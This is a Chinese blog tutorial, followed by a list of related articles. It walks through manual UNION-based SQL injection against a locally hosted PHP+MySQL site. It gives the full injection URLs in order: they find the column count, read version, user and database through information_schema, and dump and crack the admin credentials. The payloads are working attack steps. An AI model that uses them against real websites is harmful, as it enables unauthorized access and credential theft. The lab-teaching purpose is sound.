【SQL注入】通过实战教你手工注入MySql数据库

Hello,各位小伙伴们大家晚上好~~

不知不觉,已经是本公众号的第八篇技术文章了,你们都有认真阅读吗?

正当小编发愁下一篇写什么的时候,鲁迅发话了:

好吧,那么我们就一起来学习一下,对PHP+MySql组合的网站,怎么进行纯手工注入吧,Here we go~


一、准备准备

NPMserv:

PHP + Mysql 集成环境,下载后在windows虚拟机中解压即可使用。

链接:https://pan.baidu.com/s/1TWoQ3PLo_SWX-FEATQVeHQ
提取码,请关注公众号并回复 SQL注入 即可获取~


二、实战篇

网站搭建完成后,我们就可以通过浏览器直接进行访问了~

1、寻找注入点

任意点开一片文章,我们会发现url处出现了"id"字样,猜测网站通过id号从数据库中调取不同的文章:

修改"id=43",发现果然打开了一篇其他的文章:

接下来我们来判断此处是否为注入点吧~

输入http://192.168.211.135/dy_show.php?dy_id=43 and 1=1 页面显示正常

输入http://192.168.211.135/dy_show.php?dy_id=43 and 1=2 查询失败

说明此处存在注入点

2、测试注入点所在table的字段数目

输入 http://192.168.211.135/dy_show.php?dy_id=42 order by 5 查询失败

输入 http://192.168.211.135/dy_show.php?dy_id=42 order by 4 查询成功

由此我们可以判断字段数为4

3、查询version、database等信息

已知当前表项的字段数为4,我们先通过union select 来判断一下哪些字段所在的内容会显示在网页上,并加上and 1=2 ,让网站原本的内容不被显示出来。

输入 http://192.168.211.135/dy_show.php?dy_id=43 and 1=2 union select 1,2,3,4

可以看到 2,3查询点被显示了出来。

接下来我们将2,3替换为version(),和user(),查询结果如下:

可以看出当前Mysql数据版本在5.0以上,当前查询账号为root管理员账号

桥豆麻袋,Mysql 5.0 代表什么?说明支持 information_schema 数据库呀~,该数据库中存储着用户在MySQL中创建的所有其它所有数据库的信息。

在进行下一步之前,我们先查询一下当前的数据库,输入

http://192.168.211.135/dy_show.php?dy_id=43 and 1=2 union select 1,database(),3,4

查询处数据库为govcn

4、查询表名

information_schema中存放了三张重要的数据表,如下:

  • schemata:用于存放所有数据库的名字。
  • tables:用于存放所有数据库中的数据表的名字。
  • columns:用于存放所有数据库的所有数据表中的所有字段的名字。

使用tables表,我们先来查询 govcn 数据库中有哪些表,在输入点2查询表名

输入:http://192.168.211.135/dy_show.php?dy_id=42 and 1=2 union select 1,table_name,3,4 from information_schema.tables where table_schema=‘govcn’

But,当存在大量表时,此处会显示得非常混乱,我们用group_concat()函数来将table_name查询内容进行整合。

输入:

http://192.168.211.135/dy_show.php?dy_id=43 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘govcn’

可以看到 govcn 数据库中得表单都被查询了出来,接下来我们就可以从admin表中查询用户的账号、密码了。

5、查询指定表中的字段

首先从information_schema.columns中查询表名,输入:

http://192.168.211.135/dy_show.php?dy_id=43 and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘admin’

发现该标中的字段名为username和password,知道表名,又知道了表的字段名,那我们就可以直接查询这些字段的内容了~

6、查询用户名及密码

输入:http://192.168.211.135/dy_show.php?dy_id=42 and 1=2 union select 1,username,password,4 from admin


此处什么都没显示出来,可能因为账号密码的格式与网页格式不同,显示不出来,需要使用unhex(hex())函数进行编码转换。

输入:http://192.168.211.135/dy_show.php?dy_id=42 and 1=2 union select 1,unhex(hex(username)),unhex(hex(password)),4 from admin

查询结果如下,成功爆出用户名、密码:

将密码在CMD5等网站进行破解,结果如下:

这样我们就成功获取了用户名admin,密码admin了~


以上就是今天Mysql手工注入的教程,大家都明白了吗?

之前小编有写过一期通过sqlmap对该网站进行注入的文章,没看过的小伙伴可以回顾一下哦~

好啦,这就是今天的全部内容,欢迎关注我的公众号~

peace!

【SQL注入】通过实战教你手工注入MySql数据库相关推荐

  1. 01_SQL注入_Mysql注入利用联合查询的手工注入

    01_SQL注入_Mysql注入:利用联合查询的手工注入 1.SQL注入的成因 [严正声明]仅供学习,勿做他用!!! [严正声明]仅供学习,勿做他用!!! [严正声明]仅供学习,勿做他用!!! 遵纪守 ...

  2. mysql数据库读取数据,教你如何从 MySQL 数据库读取数据

    从 MySQL 数据库读取数据 SELECT 语句用于从数据表中读取数据: SELECT column_name(s) FROM table_name 我们可以使用 * 号来读取所有数据表中的字段: ...

  3. shell编程系列22--shell操作数据库实战之shell脚本与MySQL数据库交互(增删改查)

    shell编程系列22--shell操作数据库实战之shell脚本与MySQL数据库交互(增删改查)Shell脚本与MySQL数据库交互(增删改查)# 环境准备:安装mariadb 数据库 [root ...

  4. Serverless实战 —— 函数计算如何访问 MySQL 数据库

    Serverless实战 -- 函数计算如何访问 MySQL 数据库 函数计算(Function Compute):函数计算 是事件驱动的全托管计算服务.使用函数计算,您无需采购与管理服务器等基础设施 ...

  5. 创建用户赋权限_MySQL实战第84篇:MySQL数据库添加用户和赋权限,在8.0版本!

    欢迎来到MySQL实战第84篇,修炼MySQL,让我们更加的自信! [查看数据库] [使用mysql数据库] [创建新用户:mytest,密码111222] create user mytest id ...

  6. mysql 日志文件 自动_教你自动恢复MySQL数据库的日志文件

    如果MySQL服务器启用了二进制日志,你可以使用mysqlbinlog工具来恢复从指定的时间点开始 (例如,从你最后一次备份)直到现在或另一个指定的时间点的数据."mysqlbinlog:用 ...

  7. 数据库直接存图片mysql_教你如何在MySQL数据库中直接储存图片

    如果你想把二进制的数据,比如说图片文件和HTML文件,直接保存在你的MySQL数据库,那么这篇文章就是为你而写的!我将告诉你怎样通过HTML表单来储存这些文件,怎样访问和使用这些文件. 本文概述: 在 ...

  8. mysql如何存储图片_教你怎样在MySQL数据库中直接储存图片

    欢迎来到小编的文章进行学习阅读,想必大家又有很多问题吧,在这里会有你想要收获的答案,请大家慢慢学习吧!计算机编程语言 如果你想把二进制的数据,比如说图片文件和HTML文件,直接保存在你的MySQL数据 ...

  9. oracle数据库注入实战,教你oracle注入

    大家都知道oracle比较大,11g的安装程序大约在1.4g左右,可能大家遇到oracle的库比较少,oracle+jsp的搭配的比较好... oracle系统库默认的用户有sys,system,in ...

最新文章

  1. 数据结构之【队列】的基本操作C语言实现
  2. 贾扬清:我对人工智能方向的一点浅见
  3. Bulk_Collect_Performance 比较
  4. 什么是NIO?NIO的原理是什么机制?
  5. ee可以有js吗 jvaa_DOTA每日节奏—EE乱选英雄被举报封号,这真的合理吗
  6. python培训班 费用-参加线上python培训班要多少钱?
  7. DataTable筛选符合条件的DataRow
  8. update_notifier 造成nodejs进程数量增长的问题
  9. 学号20145209《信息安全系统设计基础》第11周学习总结
  10. 如何展开Linux Memory Management学习?
  11. Ajax Beta 2.0 中 AtlasToolKit Library 控件 Accordion 后台添加
  12. 10.卷2(进程间通信)---Posix信号量
  13. 职务与职级并行套改表_职务职级并行没有如期而至,2020年会如愿而至吗?
  14. iText实现html转pdf
  15. 发声计算机在线,文字转语音软件(文字转语音真人发声免费版)
  16. 外网/公网出口IP查询方法汇总
  17. 新装MySql后登录出现root帐号提示mysql ERROR 1045 (28000): Access denied for use的解决办法
  18. 免费邮箱不都是安全的
  19. 苹果app开发流程详解
  20. 免费ftp服务器软件,实用的3款免费ftp服务器软件

热门文章

  1. 物联网实战-基于开源 MQTT消息服务器EMQ X
  2. 三只松鼠沦为良品铺子的落难兄弟
  3. python 银行业务系统程序编程写_python实战案例--银行系统
  4. 恢復因Ctrl + Z丟失的檔案
  5. 教你怎么图片等比例放大缩小超过屏幕大小
  6. 五日十日二十日及三十日均线的作用
  7. android个人理财通项目_公告|MNSC项目周报(2019.03.11—2019.03.20)
  8. 英语单词:tamper with
  9. 完全理解Vue的渲染watcher、computed和user watcher
  10. V神论DAO:DAO不是公司 其去中心化很重要